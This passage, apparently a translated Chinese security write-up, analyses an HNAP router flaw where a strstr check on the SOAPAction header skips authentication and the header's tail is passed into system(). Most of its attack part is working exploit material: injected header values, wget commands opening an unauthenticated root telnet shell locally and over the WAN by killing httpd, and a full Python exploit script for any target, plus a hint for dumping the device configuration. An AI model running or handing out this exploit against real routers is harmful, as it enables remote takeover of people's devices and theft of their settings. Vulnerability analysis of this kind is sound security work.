SOAPAction頭在HNAP請求中特別重要，因為它指定了HNAP所要進行的操作。（以上這個請求執行的是AddPortMapping這個功能）
由于web服務器將cgibin作為CGI來執行，所以hnap_main函數可以通過環境變量訪問到HNAP的請求數據，比如SOAPAction頭：

SOAPAction = getenv(“HTTP_SOAPACTION”);

在接近函數末尾的部分，程序使用了sprintf函數動態構造一條shell命令，這條命令將被傳入system函數執行：

sprintf(command, “sh %s%s.sh > /dev/console”, “/var/run/”, SOAPAction);

很明顯，hnap_main使用了請求頭中的SOAPAction頭作為系統命令的一部分！如果SOAPAction頭沒有被過濾，而且進入的這段函數不需要認證，那么這很有可能是一個命令注入的bug。

回到hnap_main函數的開頭，程序首先檢查SOAPAction頭是否為http://purenetworks.com/HNAP1/GetDeviceSettings，如果是，則跳過認證。這是我們預料之中的，并且我們已經確定，GetDeviceSettings功能是不需要認證的。

if(strstr(SOAPAction, “http://purenetworks.com/HNAP1/GetDeviceSettings”) != NULL)

然而，可以注意到，strstr被用于字符串檢查，這就表明了，SOAPAction頭只要包含http://purenetworks.com/HNAP1/GetDeviceSettings字符串，就可以通過檢查，繞過認證。
所以，如果SOAPAction頭包含字符串http://purenetworks.com/HNAP1/GetDeviceSettings，代碼將會從請求頭中解析出Action的名稱（例如GetDeviceSettings）并且會移除字符串最后的雙引號。

SOAPAction = strrchr(SOAPAction, ‘/’);

上圖代碼會解析出Action名（類似GetDeviceSettings），它將被帶入sprintf函數，構造出被system執行的命令。
以下的C語言代碼可以幫助大家進一步了解程序中的邏輯錯誤：

#!c
/* Grab a pointer to the SOAPAction header */
SOAPAction = getenv("HTTP_SOAPACTION");

/* Skip authentication if the SOAPAction header contains "http://purenetworks.com/HNAP1/GetDeviceSettings" */
if(strstr(SOAPAction, "http://purenetworks.com/HNAP1/GetDeviceSettings") == NULL)
{
    /* do auth check */
}

/* Do a reverse search for the last forward slash in the SOAPAction header */
SOAPAction = strrchr(SOAPAction, '/');
if(SOAPAction != NULL)
{
    /* Point the SOAPAction pointer one byte beyond the last forward slash */
    SOAPAction += 1;

    /* Get rid of any trailing double quotes */
    if(SOAPAction[strlen(SOAPAction)-1] == '"')
    {
        SOAPAction[strlen(SOAPAction)-1] = '\0';
    }
}
else
{
    goto failure_condition;
}

/* Build the command using the specified SOAPAction string and execute it */
sprintf(command, "sh %s%s.sh > /dev/console", "/var/run/", SOAPAction);
system(command);

以下是這個漏洞產生的兩個重要原因：
1.如果SOAPAction頭包含http://purenetworks.com/HNAP1/GetDeviceSettings字符串，那么就不需要認證。
2.程序會將SOAPAction頭中最后一個/后的字符串被帶入sprintf構造shell命令，并且調用system函數進行執行。
因此，我們很容易就可以構造出一個SOAPAction報頭，既可以繞過認證，又可以將任意命令帶入系統執行：

SOAPAction: "http://purenetworks.com/HNAP1/GetDeviceSettings/`reboot`"

將reboot命令替換成telnetd，就可以開啟路由器的telnet服務，獲得一個無需認證的root權限shell：

#!bash
$ wget --header='SOAPAction: "http://purenetworks.com/HNAP1/GetDeviceSettings/`telnetd`"' http://192.168.0.1/HNAP1
$ telnet 192.168.0.1
Trying 192.168.0.1...
Connected to 192.168.0.1.
Escape character is '^]'.


BusyBox v1.14.1 (2015-02-11 17:15:51 CST) built-in shell (msh)
Enter 'help' for a list of built-in commands.

如果開啟了遠程管理功能，HNAP請求將向WAN開放，這就使遠程利用成為可能。當然，路由器的防火墻將阻斷來自WAN的telnet連接。有一個簡單的解決辦法，就是結束HTTP服務器進程，將telnet服務器的端口設置成和HTTP服務器相同：

#!bash
$ wget --header='SOAPAction: "http://purenetworks.com/HNAP1/GetDeviceSettings/`killall httpd; telnetd -p 8080`"' http://1.2.3.4:8080/HNAP1
$ telnet 1.2.3.4 8080
Trying 1.2.3.4...
Connected to 1.2.3.4.
Escape character is '^]'.


BusyBox v1.14.1 (2015-02-11 17:15:51 CST) built-in shell (msh)
Enter 'help' for a list of built-in commands.

wget請求將會被掛起，因為cgibin會等待telnetd返回。下面是用Python寫的一個利用程序：

#!python
#!/usr/bin/env python

import sys
import urllib2
import httplib

try:
    ip_port = sys.argv[1].split(':')
    ip = ip_port[0]

    if len(ip_port) == 2:
        port = ip_port[1]
    elif len(ip_port) == 1:
        port = "80"
    else:
        raise IndexError
except IndexError:
    print "Usage: %s <target ip:port>" % sys.argv[0]
    sys.exit(1)

url = "http://%s:%s/HNAP1" % (ip, port)
# NOTE: If exploiting from the LAN, telnetd can be started on
#       any port; killing the http server and re-using its port
#       is not necessary.
#
#       Killing off all hung hnap processes ensures that we can
#       re-start httpd later.
command = "killall httpd; killall hnap; telnetd -p %s" % port
headers = {
            "SOAPAction"    : '"http://purenetworks.com/HNAP1/GetDeviceSettings/`%s`"' % command,
          }

req = urllib2.Request(url, None, headers)
try:
    urllib2.urlopen(req)
    raise Exception("Unexpected response")
except httplib.BadStatusLine:
    print "Exploit sent, try telnetting to %s:%s!" % (ip, port)
    print "To dump all system settings, run (no quotes): 'xmldbc -d /var/config.xml; cat /var/config.xml'"
    sys.exit(0)
except Exception:
    print "Received an unexpected response from the server; exploit probably failed. :("

0x02 結語